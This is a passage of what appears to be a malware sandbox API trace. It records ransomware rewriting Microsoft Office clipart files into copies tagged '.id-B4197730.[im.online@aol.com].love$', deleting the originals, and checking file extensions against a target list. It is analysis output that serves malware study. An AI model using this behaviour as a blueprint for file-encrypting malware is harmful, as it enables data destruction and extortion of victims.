lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=20189) returned 1 [0122.912] CloseHandle (hObject=0x380) returned 1 [0122.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0122.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.913] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.913] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.913] GetLastError () returned 0x0 [0122.913] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4edd, lpOverlapped=0x0) returned 1 [0122.916] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0122.918] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.918] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.918] SetEndOfFile (hFile=0x3a4) returned 1 [0122.918] CloseHandle (hObject=0x3a4) returned 1 [0123.418] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.418] SetEndOfFile (hFile=0x380) returned 1 [0123.431] CloseHandle (hObject=0x380) returned 1 [0123.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0123.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.432] lstrlenW (lpString=".doc") returned 4 [0123.432] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.432] lstrlenW (lpString=".docx") returned 5 [0123.432] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0123.432] lstrlenW (lpString=".pdf") returned 4 [0123.432] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.432] lstrlenW (lpString=".xls") returned 4 [0123.432] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.432] lstrlenW (lpString=".xlsx") returned 5 [0123.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0123.432] lstrlenW (lpString=".ppt") returned 4 [0123.432] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.432] lstrlenW (lpString=".zip") returned 4 [0123.432] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.432] lstrlenW (lpString=".rar") returned 4 [0123.432] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.432] lstrlenW (lpString=".bz2") returned 4 [0123.432] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.432] lstrlenW (lpString=".7z") returned 3 [0123.432] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.432] lstrlenW (lpString=".dbf") returned 4 [0123.432] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.432] lstrlenW (lpString=".1cd") returned 4 [0123.432] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.432] lstrlenW (lpString=".jpg") returned 4 [0123.433] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.433] lstrlenW (lpString=".doc") returned 4 [0123.433] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.433] lstrlenW (lpString=".docx") returned 5 [0123.433] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0123.506] lstrlenW (lpString=".pdf") returned 4 [0123.512] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.512] lstrlenW (lpString=".xls") returned 4 [0123.512] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.512] lstrlenW (lpString=".xlsx") returned 5 [0123.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0123.512] lstrlenW (lpString=".ppt") returned 4 [0123.512] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.515] lstrlenW (lpString=".zip") returned 4 [0123.515] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.517] lstrlenW (lpString=".rar") returned 4 [0123.517] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.517] lstrlenW (lpString=".bz2") returned 4 [0123.517] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.517] lstrlenW (lpString=".7z") returned 3 [0123.526] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.526] lstrlenW (lpString=".dbf") returned 4 [0123.526] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.526] lstrlenW (lpString=".1cd") returned 4 [0123.526] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0123.527] lstrlenW (lpString=".jpg") returned 4 [0123.527] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.527] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.527] lstrlenW (lpString="BL00045_.WMF") returned 12 [0123.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0123.527] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7862) returned 1 [0123.528] CloseHandle (hObject=0x380) returned 1 [0123.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0123.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0123.528] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.528] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0123.529] GetLastError () returned 0x0 [0123.529] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0123.541] WriteFile (in: hFile=0x370, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0123.543] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.543] WriteFile (in: hFile=0x370, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.543] SetEndOfFile (hFile=0x370) returned 1 [0123.543] CloseHandle (hObject=0x370) returned 1 [0123.548] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.548] SetEndOfFile (hFile=0x380) returned 1 [0123.549] CloseHandle (hObject=0x380) returned 1 [0123.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0123.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.550] lstrlenW (lpString=".doc") returned 4 [0123.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.550] lstrlenW (lpString=".docx") returned 5 [0123.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.550] lstrlenW (lpString=".pdf") returned 4 [0123.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.550] lstrlenW (lpString=".xls") returned 4 [0123.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.551] lstrlenW (lpString=".xlsx") returned 5 [0123.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.551] lstrlenW (lpString=".ppt") returned 4 [0123.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.551] lstrlenW (lpString=".zip") returned 4 [0123.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.551] lstrlenW (lpString=".rar") returned 4 [0123.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.551] lstrlenW (lpString=".bz2") returned 4 [0123.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.551] lstrlenW (lpString=".7z") returned 3 [0123.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.551] lstrlenW (lpString=".dbf") returned 4 [0123.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.551] lstrlenW (lpString=".1cd") returned 4 [0123.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.551] lstrlenW (lpString=".jpg") returned 4 [0123.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.551] lstrlenW (lpString=".doc") returned 4 [0123.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.552] lstrlenW (lpString=".docx") returned 5 [0123.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.552] lstrlenW (lpString=".pdf") returned 4 [0123.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.552] lstrlenW (lpString=".xls") returned 4 [0123.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.552] lstrlenW (lpString=".xlsx") returned 5 [0123.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.552] lstrlenW (lpString=".ppt") returned 4 [0123.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.552] lstrlenW (lpString=".zip") returned 4 [0123.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.552] lstrlenW (lpString=".rar") returned 4 [0123.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.552] lstrlenW (lpString=".bz2") returned 4 [0123.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.552] lstrlenW (lpString=".7z") returned 3 [0123.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.552] lstrlenW (lpString=".dbf") returned 4 [0123.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.552] lstrlenW (lpString=".1cd") returned 4 [0123.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0123.552] lstrlenW (lpString=".jpg") returned 4 [0123.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.553] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.553] lstrlenW (lpString="BL00098_.WMF") returned 12 [0123.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0123.553] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1012) returned 1 [0123.553] CloseHandle (hObject=0x380) returned 1 [0123.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0123.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0123.554] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.554] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0123.555] GetLastError () returned 0x0 [0123.555] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x3f4, lpOverlapped=0x0) returned 1 [0123.619] WriteFile (in: hFile=0x370, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x400, lpOverlapped=0x0) returned 1 [0123.620] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.620] WriteFile (in: hFile=0x370, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.620] SetEndOfFile (hFile=0x370) returned 1 [0123.621] CloseHandle (hObject=0x370) returned 1 [0123.624] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.624] SetEndOfFile (hFile=0x380) returned 1 [0123.625] CloseHandle (hObject=0x380) returned 1 [0123.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0123.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.626] lstrlenW (lpString=".doc") returned 4 [0123.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.626] lstrlenW (lpString=".docx") returned 5 [0123.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.626] lstrlenW (lpString=".pdf") returned 4 [0123.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.626] lstrlenW (lpString=".xls") returned 4 [0123.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.626] lstrlenW (lpString=".xlsx") returned 5 [0123.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.626] lstrlenW (lpString=".ppt") returned 4 [0123.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.626] lstrlenW (lpString=".zip") returned 4 [0123.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.626] lstrlenW (lpString=".rar") returned 4 [0123.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.626] lstrlenW (lpString=".bz2") returned 4 [0123.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.626] lstrlenW (lpString=".7z") returned 3 [0123.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.626] lstrlenW (lpString=".dbf") returned 4 [0123.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.626] lstrlenW (lpString=".1cd") returned 4 [0123.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.626] lstrlenW (lpString=".jpg") returned 4 [0123.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.627] lstrlenW (lpString=".doc") returned 4 [0123.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.627] lstrlenW (lpString=".docx") returned 5 [0123.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.627] lstrlenW (lpString=".pdf") returned 4 [0123.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.627] lstrlenW (lpString=".xls") returned 4 [0123.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.627] lstrlenW (lpString=".xlsx") returned 5 [0123.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.627] lstrlenW (lpString=".ppt") returned 4 [0123.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.627] lstrlenW (lpString=".zip") returned 4 [0123.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.627] lstrlenW (lpString=".rar") returned 4 [0123.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.636] lstrlenW (lpString=".bz2") returned 4 [0123.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.636] lstrlenW (lpString=".7z") returned 3 [0123.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.636] lstrlenW (lpString=".dbf") returned 4 [0123.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.636] lstrlenW (lpString=".1cd") returned 4 [0123.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0123.637] lstrlenW (lpString=".jpg") returned 4 [0123.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.637] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.637] lstrlenW (lpString="BL00130_.WMF") returned 12 [0123.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0123.641] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1464) returned 1 [0123.641] CloseHandle (hObject=0x380) returned 1 [0123.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0123.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 